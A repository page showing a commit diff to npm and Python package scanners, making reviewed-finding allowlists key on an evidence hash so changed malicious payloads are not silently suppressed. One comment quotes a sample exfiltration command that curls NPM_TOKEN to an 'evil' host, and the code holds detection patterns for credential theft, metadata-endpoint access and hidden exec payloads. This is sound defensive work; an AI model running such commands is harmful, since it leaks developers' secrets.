Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
scan_packages: key baseline on matched-code hash so payloads in baselined files are not auto-suppressed (#6552)
Daniel Han73d9653d5be1
diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.pyindex c1d156d40a1..47b85147ca7 100644--- a/scripts/scan_npm_packages.py+++ b/scripts/scan_npm_packages.py@@ -40,8 +40,10 @@ from __future__ import annotationsimport argparseimport atexitimport base64 as _b64 # imported only so the IOC string-scan can detect it+import bisectimport hashlibimport io+import itertoolsimport jsonimport osimport re@@ -897,22 +899,366 @@ def safe_extract(# ─────────────────────────────────────────────────────────────────────-def _evidence(+# How far back to look for an enclosing bracket opener. Symmetric with the+# forward cap so a host that sits deep inside a large options object (its opening+# `{` many properties above) still binds the whole object, not just its own line;+# a too-far start only over-binds (more context, still fail-closed), never less.+_MAX_CONT_LINES = 200+# Hard cap on how far forward a bracket group is followed to its close, measured+# from the matched line so the tail after the match is always reachable even when+# the opener was found near the backward limit (digest input only, never+# displayed); a realistic config object closes well within it.+_MAX_GROUP_LINES = 200++# JS string literal (single / double / template), blanked before counting+# brackets so a bracket inside a string is not mistaken for code.+_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")+++_RE_BRACKETS = re.compile(r"[()\[\]{}]")+_OPENERS = frozenset("([{")+++def _bracket_lr(line: str) -> tuple[int, int]:+ """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``+ where ``L`` is the count of closers with no opener earlier on the line (they+ need an opener to the LEFT / on a prior line) and ``R`` is the count of openers+ with no closer later on the line (they need a closer to the RIGHT / on a later+ line). A plain net count (opens minus closes) collapses order and so masks a+ trailing opener that follows leading closers on the same line, e.g.+ ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config+ object; tracking the running minimum keeps that opener visible so the group+ binds the path/headers that follow. Only bracket characters are walked (pulled+ out with one C-level regex pass) so a long minified line stays cheap."""+ depth = 0+ low = 0+ for ch in _RE_BRACKETS.findall(line):+ if ch in _OPENERS:+ depth += 1+ else:+ depth -= 1+ if depth < low:+ low = depth+ return -low, depth - low+++def _find_unescaped(line: str, quote: str, start: int) -> int:+ """Index of the next ``quote`` at or after ``start`` not escaped by a backslash,+ or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""+ i, n = start, len(line)+ while i < n:+ if line[i] == "\\":+ i += 2+ continue+ if line[i] == quote:+ return i+ i += 1+ return -1+++# A `/` is a regex literal (not division) when the previous significant character+# is none (start) or one of these expression-position chars. Used only by the+# multi-line blanked view, and the span is unioned with the single-line view, so+# an over- or under-detection only ever grows the bound span (never shrinks it).+_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")+++def _blank_js_strings(lines: list[str]) -> list[str]:+ """Replace string contents (single, double, multi-line backtick template+ literals) AND regex literal bodies with spaces across ``lines``, keeping the+ line count and every bracket OUTSIDE a string/regex intact, so bracket counting+ never miscounts a ``)`` that lives inside a string -- including a template+ literal spanning several lines or a ``/)/`` regex -- which a per-line regex+ cannot blank. Escapes are honoured."""+ out: list[str] = []+ in_back = False # inside a multi-line `template` literal+ prev_sig = "" # last significant non-space char (for regex-vs-division)+ for line in lines:+ buf: list[str] = []+ i, n = 0, len(line)+ while i < n:+ if in_back:+ end = _find_unescaped(line, "`", i)+ if end == -1:+ buf.append(" " * (n - i))+ i = n+ else:+ buf.append(" " * (end - i + 1))+ i = end + 1+ in_back = False+ prev_sig = "`"+ continue+ ch = line[i]+ if ch in " \t":+ buf.append(ch)+ i += 1+ continue+ if ch in "'\"`":+ end = _find_unescaped(line, ch, i + 1)+ if end == -1:+ buf.append(" " * (n - i))+ i = n+ if ch == "`": # opens a template literal that runs past this line+ in_back = True+ else:+ buf.append(" " * (end - i + 1))+ i = end + 1+ prev_sig = "v" # a string is a value: a following `/` is division+ continue+ if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):+ # Regex literal: blank to the closing unescaped `/` outside a `[...]`+ # char class. A regex never spans lines, so no close on the line+ # means this `/` is really division.+ j, in_class, closed = i + 1, False, False+ while j < n:+ c = line[j]+ if c == "\\":+ j += 2+ continue+ if c == "[":+ in_class = True+ elif c == "]":+ in_class = False+ elif c == "/" and not in_class:+ j += 1+ closed = True+ break+ j += 1+ if closed:+ buf.append(" " * (j - i))+ i = j+ prev_sig = "v" # a regex is a value+ continue+ buf.append(ch)+ i += 1+ prev_sig = "/"+ continue+ buf.append(ch)+ i += 1+ prev_sig = ch+ out.append("".join(buf))+ return out+++def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:+ """Precompute once per evidence call: raw lines for display, two string-blanked+ views for bracket counting (single-line via regex = legacy, and multi-line+ aware so a template literal spanning lines is blanked), and newline offsets for+ O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole+ file on every single match (which was O(matches x file size))."""+ lines = text.split("\n")+ sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]+ ml_blanked = _blank_js_strings(lines)+ nl = [p for p, ch in enumerate(text) if ch == "\n"]+ return lines, sl_blanked, ml_blanked, nl+++# Cap on formatted matches in one evidence string; beyond it the remaining match+# texts are folded into a single digest so a huge/minified file cannot build a+# multi-megabyte evidence blob while an added/removed match past the cap still+# changes the key.+_MAX_EVIDENCE_MATCHES = 64+++def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:+ """(start, end) line indices of the bracket group enclosing line ``idx`` in one+ blanked view: scan back to the still-open opener, then forward to its close."""+ # Backward: find the line that opens a bracket still unclosed at the match,+ # so a match inside a multi-line object starts from the object opener. Each line+ # is reduced to (L, R) and applied in order: first the L closers consume open+ # brackets from the running context (a stray closer whose opener is outside the+ # window only clamps depth at 0, it never goes negative), then the R openers+ # add to it. Tracking order this way (rather than a single net per line) keeps a+ # trailing opener visible even when leading closers on the same line net it to+ # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a+ # changed path/headers after such a line ride the unchanged-hostname key.+ start = idx+ depth = 0+ for j in range(max(0, idx - _MAX_CONT_LINES), idx):+ left, right = _bracket_lr(blanked[j])+ if left >= depth:+ depth = 0 # everything opened so far in the window has closed+ start = idx+ else:+ depth -= left+ if right > 0:+ if depth == 0:+ start = j # outermost still-open opener begins here+ depth += right++ # Forward: extend until the group opened at `start` closes past the match. The+ # same order-aware reduction is used (clamping leading closers at 0) so the+ # foreign `})` on the opener line does not drive the count negative and stop the+ # scan before the real close. The cap is measured from the match (`idx`), not+ # from `start`, so an opener found near the backward limit does not eat the+ # whole forward budget and drop the path/headers/body that follow the match.+ depth = 0+ end = start+ for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):+ left, right = _bracket_lr(blanked[j])+ depth = max(0, depth - left) + right+ end = j+ if j >= idx and depth <= 0:+ break+ return start, end+++def _canon_preserve_strings(text: str) -> str:+ """Whitespace canon that collapses runs OUTSIDE string literals to a single+ space (so a reindent or spacing change between tokens stays stable) while+ preserving whitespace INSIDE single/double/backtick string literals (so a+ changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain+ ``" ".join(text.split())`` erases both, suppressing an intra-literal payload+ edit along with harmless indentation. Leading/trailing outside whitespace is+ dropped; escapes inside strings are honoured. Used for the evidence hash and+ the logical-line digests so the two stay consistent."""+ out: list[str] = []+ i, n = 0, len(text)+ quote: str | None = None+ pending_space = False+ while i < n:+ ch = text[i]+ if quote is not None:+ out.append(ch)+ if ch == "\\" and i + 1 < n:+ out.append(text[i + 1])+ i += 2+ continue+ if ch == quote:+ quote = None+ i += 1+ continue+ if ch.isspace():+ pending_space = True+ i += 1+ continue+ if pending_space and out:+ out.append(" ")+ pending_space = False+ out.append(ch)+ if ch in "'\"`":+ quote = ch+ i += 1+ return "".join(out)+++def _logical_line_text(+ lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int+) -> str:+ """The matched line plus the bracket group it belongs to (the enclosing+ multi-line object/call, so a changed ``path``/``headers``/body on another line+ binds). Returns the UNION of the groups found in the single-line-blanked view+ (legacy: a payload embedded inside a template still counts so its brackets bind+ the call) and the multi-line-blanked view (a bracket inside a template literal+ spanning lines no longer closes the group early). Unioning never shrinks the+ span below either view, so neither blanking strategy can drop a line a+ malicious change relies on."""+ s1, e1 = _scan_group(sl_blanked, idx)+ s2, e2 = _scan_group(ml_blanked, idx)+ start, end = min(s1, s2), max(e1, e2)+ return " ".join(lines[start : end + 1])+++def _format_match(text: str,- pat: re.Pattern,- max_chars: int = 200,+ lines: list[str],+ sl_blanked: list[str],+ ml_blanked: list[str],+ nl: list[int],+ m: re.Match,+ max_chars: int,) -> str:- m = pat.search(text)- if not m:- return ""- start = max(0, m.start() - 30)- end = min(len(text), m.end() + 30)+ # The shown snippet is a small window around the match; append a digest of the+ # full LOGICAL line (the matched line plus its bracket-continuation lines)+ # whenever the snippet does not already show all of it, so a changed payload+ # tail, a truncated body, or a multi-line option/header reopens. Offsets are+ # mapped to line numbers via bisect over precomputed newline positions, so this+ # is O(log n) instead of rescanning the file prefix for every match.+ idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match+ line_start = nl[idx - 1] + 1 if idx > 0 else 0+ ke = bisect.bisect_left(nl, m.end())+ line_end = nl[ke] if ke < len(nl) else len(text)+ full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)+ start = max(line_start, m.start() - 30)+ end = min(line_end, m.end() + 30)snippet = text[start:end].replace("\n", " ")if len(snippet) > max_chars:snippet = snippet[:max_chars] + "..."+ if snippet != full_logical:+ # Normalize before digesting, matching _evidence_hash, so a formatter-only+ # reindent of the bound continuation lines does not reopen -- but preserve+ # whitespace inside string literals so a changed request/payload body does.+ canon = _canon_preserve_strings(full_logical)+ digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()+ snippet = f"{snippet} sha256:{digest}"return snippet+def _stream_overflow_digest(+ matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]+) -> tuple[int, str]:+ """A single digest binding the LOGICAL line (the bound bracket-group context,+ not just the regex match text) of every overflow match in the iterable, plus+ the count of matches folded. Streams the matches (any iterable of re.Match) so a+ huge overflow never materializes a list. Whitespace-normalized to match+ _evidence_hash so a reindent does not reopen."""+ h = hashlib.sha256()+ count = 0+ for m in matches:+ _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)+ count += 1+ return count, h.hexdigest()+++def _fold_overflow_match(+ h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]+) -> None:+ """Fold one overflow match's whitespace-normalized logical-line context into the+ running hash ``h``. Shared by _stream_overflow_digest and the inline overflow+ fold in _outbound_host_evidence so both produce the identical digest."""+ idx = bisect.bisect_left(nl, m.start())+ ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)+ h.update(b"\x00")+ h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))+++def _evidence(+ text: str,+ pat: re.Pattern,+ max_chars: int = 200,+) -> str:+ # Record every match (not a truncated sample) so an extra match appended to an+ # already-flagged file changes the evidence instead of riding the first few.+ # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest+ # (binding their logical-line context) so the evidence string stays bounded+ # while a changed payload past the cap still reopens. The matches are streamed+ # from finditer rather than materialized into a list: a generated file can+ # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a+ # re.Match per occurrence before applying the cap would stall or OOM the scan.+ it = pat.finditer(text)+ shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))+ if not shown_matches:+ return ""+ lines, sl_blanked, ml_blanked, nl = _index_text(text)+ shown = [+ _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches+ ]+ # Fold the rest (past the cap) into one digest as they arrive, never building a+ # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].+ overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)+ if overflow_count:+ shown.append(f"(+{overflow_count} more) sha256:{digest}")+ return " | ".join(shown)+++def _ioc_evidence(text: str, needle: str) -> str:+ """Matched-line context (with bracket-group continuation) for a literal IOC+ needle, so a changed adjacent fetch/exfil body reopens the key instead of+ riding the bare constant. Falls back to the needle itself if, defensively,+ nothing matches (the caller only reaches here when ``needle in text``)."""+ return _evidence(text, re.compile(re.escape(needle))) or needle++LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")@@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:body = scripts.get(hook)if not isinstance(body, str):continue+ # Pin the whole lifecycle body via one digest shared by every lifecycle+ # finding below: a script that keeps the matched signal but changes+ # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"+ # https://evil`) must reopen. The stored evidence is a bounded matched+ # snippet plus this digest, never the entire body, so `--write-baseline`+ # on a package with a multi-MiB install script does not bloat the baseline+ # JSON while the digest still binds the full body. Normalized to match+ # _evidence_hash so a reindent alone does not reopen, while whitespace+ # inside quoted strings is preserved so a changed quoted payload does.+ body_digest = hashlib.sha256(+ _canon_preserve_strings(body).encode("utf-8", "replace")+ ).hexdigest()if _LIFECYCLE_FETCH_EXEC.search(body):findings.append(Finding(@@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:package = pkg.display,filename = rel,pattern = f"lifecycle-fetch-exec ({hook})",- evidence = body,+ evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",detail = (f"`scripts.{hook}` fetches an external ""resource and pipes/chains it to an "@@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:package = pkg.display,filename = rel,pattern = f"cred-path-in-lifecycle ({hook})",- evidence = body,+ evidence = (+ f"{_evidence(body, re.compile(re.escape(path_substr)))} "+ f"body-sha256:{body_digest}"+ ),detail = (f"`scripts.{hook}` references {why} "f"({path_substr!r}); install-time access "@@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:package = pkg.display,filename = rel,pattern = f"cred-env-in-lifecycle ({hook})",- evidence = _evidence(body, _JS_ENV_TOKEN),+ evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",detail = (f"`scripts.{hook}` references a credential ""env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "@@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:return False+def _outbound_host_evidence(text: str, host: str) -> str:+ """Evidence capturing the host WITH its outbound context (URL path, fetch+ call, host config), so a changed path/headers/body reopens the key instead+ of riding the bare host literal. Falls back to the host if none matches."""+ host_re = re.escape(host)+ patterns = (+ re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),+ re.compile(+ rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"+ rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",+ re.IGNORECASE,+ ),+ # Host-config form: capture the whole line (path/headers/body), so a+ # changed outbound payload on the same hostname line reopens the key.+ re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),+ )+ # Record EVERY outbound context for the host, not just the first form that+ # matches: a file that already has a baselined URL for the host and later adds+ # a separate host-config request (or a second URL) must change the evidence so+ # the new payload cannot inherit the old key. Forms are claimed in order, and a+ # region already claimed by an earlier form is skipped, so the common+ # single-context case keeps its existing snippet. Each form is capped at+ # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a+ # minified file cannot make the overlap check quadratic; once chosen is full+ # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a+ # list, so a host repeated millions of times cannot OOM the scan) and an added+ # context still reopens.+ lines, sl_blanked, ml_blanked, nl = _index_text(text)+ claimed: list[tuple[int, int]] = []+ chosen: list[re.Match] = []+ overflow_count = 0+ overflow_hash = hashlib.sha256()+ for pat in patterns:+ for m in pat.finditer(text):+ if len(chosen) < _MAX_EVIDENCE_MATCHES:+ # Overlap check runs only while filling the display list, so+ # `claimed` is bounded by the cap and this stays O(cap) per match+ # (not quadratic), while every later match is still counted below.+ if any(m.start() < e and s < m.end() for s, e in claimed):+ continue+ claimed.append((m.start(), m.end()))+ chosen.append(m)+ else:+ _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)+ overflow_count += 1+ if not chosen:+ return host+ chosen.sort(key = lambda m: m.start())+ shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]+ if overflow_count:+ shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")+ return " | ".join(shown)++def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:findings: list[Finding] = []@@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:if rel.lower().endswith(_JS_FAMILY_SUFFIXES):text = _strip_js_noncode(text)- # IOC substrings (literal, case-sensitive).+ # IOC substrings (literal, case-sensitive). Evidence is the matched-line+ # context (with its bracket-group continuation), not the bare needle: an IOC+ # host/hash left in place while the adjacent fetch/exfil body changes must+ # reopen the key instead of riding the constant.for needle, (sev, why) in KNOWN_IOC_STRINGS.items():if needle in text:findings.append(@@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:package = pkg.display,filename = rel,pattern = "known-ioc-string",- evidence = needle,+ evidence = _ioc_evidence(text, needle),detail = f"{why}: {needle!r}",))- # Cred surfaces, tier 1: hosts with no legit use; bare substring.+ # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context+ # (path/headers/body) when present so a changed exfil payload on the same call+ # reopens; falls back to the bare host when it is not in an outbound call.for needle, why in CRED_HOST_ALWAYS_BAD:if needle in text:findings.append(@@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:package = pkg.display,filename = rel,pattern = "cred-surface-host (always-bad)",- evidence = needle,+ evidence = _outbound_host_evidence(text, needle),detail = (f"references {why} ({needle!r}); no legitimate ""frontend use of this surface"@@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:package = pkg.display,filename = rel,pattern = "cred-surface-host (outbound)",- evidence = needle,+ evidence = _outbound_host_evidence(text, needle),detail = (f"references {why} ({needle!r}) in an outbound ""call / URL / host config; a defensive blocklist "@@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:package = pkg.display,filename = rel,pattern = "known-ioc-string",- evidence = needle,+ evidence = _ioc_evidence(text, needle),detail = f"{why}: {needle!r}",))@@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")-# Bumped when the entry-key semantics change. v2 keys on the package-relative-# path; v1 stored only a basename, so a v1 entry could suppress a same-named file-# in a different directory. A pre-v2 baseline with entries is ignored (fail-# closed) rather than mis-applied.-_BASELINE_SCHEMA_VERSION = 2+# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new+# payload under an already-listed package/path/pattern is not auto-suppressed; v2+# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline+# with entries is ignored (fail closed) rather than mis-applied.+_BASELINE_SCHEMA_VERSION = 3def _norm_pkg_name(display: str) -> str:@@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f-def _finding_key(f: Finding) -> tuple[str, str, str]:- """Stable allowlist key: normalized package, package-relative path, pattern."""- return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)+def _evidence_hash(evidence: str) -> str:+ """Stable digest of the matched evidence. The npm snippet carries no line+ markers, so it is already version-stable; whitespace outside string literals is+ collapsed (reindent-stable) while whitespace inside literals is preserved, so a+ changed payload body reopens but a formatter reindent does not."""+ canon = _canon_preserve_strings(evidence or "")+ return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()+++def _finding_key(f: Finding) -> tuple[str, str, str, str]:+ """Allowlist key: normalized package, package-relative path, pattern, and a+ hash of the matched evidence -- so changed flagged code under an already-listed+ package/path/pattern reopens instead of riding the reviewed entry."""+ return (+ _norm_pkg_name(f.package),+ _relpath_in_package(f.filename),+ f.pattern,+ _evidence_hash(f.evidence or f.detail),+ )-def _load_baseline(path: str) -> set[tuple[str, str, str]]:+def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""try:with open(path, "r", encoding = "utf-8") as fh:@@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:except (OSError, json.JSONDecodeError) as exc:print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)return set()+ if not isinstance(data, dict):+ print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)+ return set()entries = data.get("entries", [])- if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:+ if not isinstance(entries, list):+ print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)+ return set()+ # v2 shares v3's package-relative keying, so its entries migrate by recomputing+ # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.+ if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):print(f" [WARN] baseline schema v{data.get('version')} predates package-relative "f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",file = sys.stderr,)return set()- keys: set[tuple[str, str, str]] = set()+ keys: set[tuple[str, str, str, str]] = set()+ legacy = 0for e in entries:+ if not isinstance(e, dict):+ continuetry:- keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))+ evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")+ if not e.get("evidence_hash"):+ legacy += 1+ keys.add(+ (+ _norm_pkg_name(e["package"]),+ _relpath_in_package(e["file"]),+ e["pattern"],+ evidence_hash,+ )+ )except (KeyError, TypeError):continue+ if legacy:+ print(+ f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "+ f"not suppress until regenerated with --write-baseline (findings reopen "+ f"rather than risk hiding changed code under a coarse key)",+ file = sys.stderr,+ )return keysdef _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:"""Persist at-or-above-threshold findings as an allowlist for triage."""entries = []- seen: set[tuple[str, str, str]] = set()+ seen: set[tuple[str, str, str, str]] = set()for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):if _SEVERITY_RANK[f.severity] > threshold_rank:continue@@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->if key in seen:continueseen.add(key)+ evidence = f.evidence or f.detailentries.append({"package": _norm_pkg_name(f.package),"file": _relpath_in_package(f.filename),"pattern": f.pattern,"severity": f.severity,- "evidence": (f.evidence or f.detail)[:240],+ "evidence": evidence,+ "evidence_hash": _evidence_hash(evidence),})doc = {"_comment": ("scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL ""finding manually judged benign. Matched on (package, "- "package-relative path, pattern); evidence/severity are for review "- "only. Regenerate with --write-baseline AFTER reviewing every line."+ "package-relative path, pattern, evidence hash); a new payload under "+ "an already-listed package/path/pattern reopens. severity is for "+ "review only. Regenerate with --write-baseline AFTER reviewing every line."),"version": _BASELINE_SCHEMA_VERSION,"entries": entries,@@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->def _partition_baseline(- findings: list[Finding], baseline: set[tuple[str, str, str]]+ findings: list[Finding], baseline: set[tuple[str, str, str, str]]) -> tuple[list[Finding], list[Finding]]:"""Split findings into (active, suppressed) by allowlist membership."""if not baseline:diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.jsonindex 61d8e740238..6ed3cedef95 100644--- a/scripts/scan_npm_packages_baseline.json+++ b/scripts/scan_npm_packages_baseline.json@@ -1,5 +1,5 @@{- "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",- "version": 2,+ "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",+ "version": 3,"entries": []}diff --git a/scripts/scan_packages.py b/scripts/scan_packages.pyindex ce9763e2350..73f6ff22912 100644--- a/scripts/scan_packages.py+++ b/scripts/scan_packages.py@@ -43,9 +43,10 @@ False positives:examples and `>>>` doctests cannot trip a finding. Residual findings thatare genuine library behavior (a HTTP client reading HF_TOKEN, a vendoredtest fixture) are suppressed via a reviewed baseline allowlist, matched on- (package, basename(file), check). A NEW kind of finding in an already-listed- file is a different check and still fails. This mirrors the Hugging Face Hub- approach (ClamAV/picklescan: low-FP, signature/structural, surface status).+ (package, package-relative file, check, evidence hash). A new check, or+ changed flagged code under the same check, reopens the finding; version+ bumps and line shifts do not. This mirrors the Hugging Face Hub approach+ (ClamAV/picklescan: low-FP, signature/structural, surface status).Exit codes:0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)@@ -55,6 +56,8 @@ Exit codes:import argparseimport atexit+import bisect+import hashlibimport ioimport jsonimport os@@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(re.DOTALL,)+# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.+RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)+# Cloud metadata / IMDS endpointsRE_CLOUD_METADATA = re.compile(r"169\.254\.169\.254" # AWS/Azure/GCP IMDS@@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:# Large base64 blobif RE_LARGE_BLOB.search(content):- blob = RE_LARGE_BLOB.search(content).group()+ # Digest every blob (not just the first 120 chars, and not just the+ # first blob), so a later payload that keeps the prefix or appends a+ # second encoded blob reopens.+ blob, digest = _blob_digest(content)findings.append(Finding(CRITICAL,package,filename,f".pth has large base64-like blob ({len(blob)} chars)",- blob[:120] + "...",+ f"{blob[:120]}... sha256:{digest}",))- # Catch-all: any import line in .pth if nothing else triggered+ # Catch-all: any import line in .pth if nothing else triggered. Bind every+ # line through a digest so an appended/swapped import reopens the key, but cap+ # the displayed text so a large .pth of benign-looking imports cannot dump up+ # to the archive member cap into the logs or baseline JSON.if not findings and import_lines:- evidence = "\n".join(import_lines[:5])- if len(import_lines) > 5:- evidence += f"\n... ({len(import_lines)} import lines total)"+ evidence = _cap_line("\n".join(import_lines))findings.append(Finding(HIGH,@@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:# Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)size = len(content)if size > 500 and import_lines:+ # Pin the content so a different payload of the same size/import count reopens.+ digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()findings.append(Finding(HIGH,package,filename,f"Unusually large executable .pth ({size} bytes)",- f"{len(import_lines)} import line(s) in {size}-byte .pth file",+ f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",))@@ -629,6 +641,13 @@ def _hidden_payload_findings(removed = "".join(o if o != s else " " for o, s in zip(original, code))out = []+ # The visible exec/eval line is what makes the hidden string executable, so+ # bind it into every finding's evidence: otherwise a reviewed false positive+ # that keeps the same hidden text but flips a harmless `eval("1+1")` to+ # `exec(__doc__)` (now running the payload) keeps the same key and stays+ # suppressed. Taken from `stripped` (real code), where the exec/eval lives.+ trigger = _extract_evidence(stripped, RE_EXEC_EVAL)+def _hidden(pat):# Carrier present in a blanked region but NOT in real code. A carrier in# real code is already caught by the normal check, so restricting to@@ -643,7 +662,7 @@ def _hidden_payload_findings(package,filename,"exec/eval with payload hidden in a docstring/string",- f"{label}: {_extract_evidence(removed, pat)}",+ f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",))# Fetch-then-run dropper: a network call AND an os/subprocess exec that both@@ -657,7 +676,9 @@ def _hidden_payload_findings(package,filename,"exec/eval with hidden network+exec payload",- f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",+ f"exec: {trigger}\n"+ f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "+ f"{_extract_evidence(removed, RE_SUBPROCESS)}",))return out@@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:# openssl encryption + network/key material (encrypted exfiltration)if has_openssl_cli and (has_network or has_keys):+ 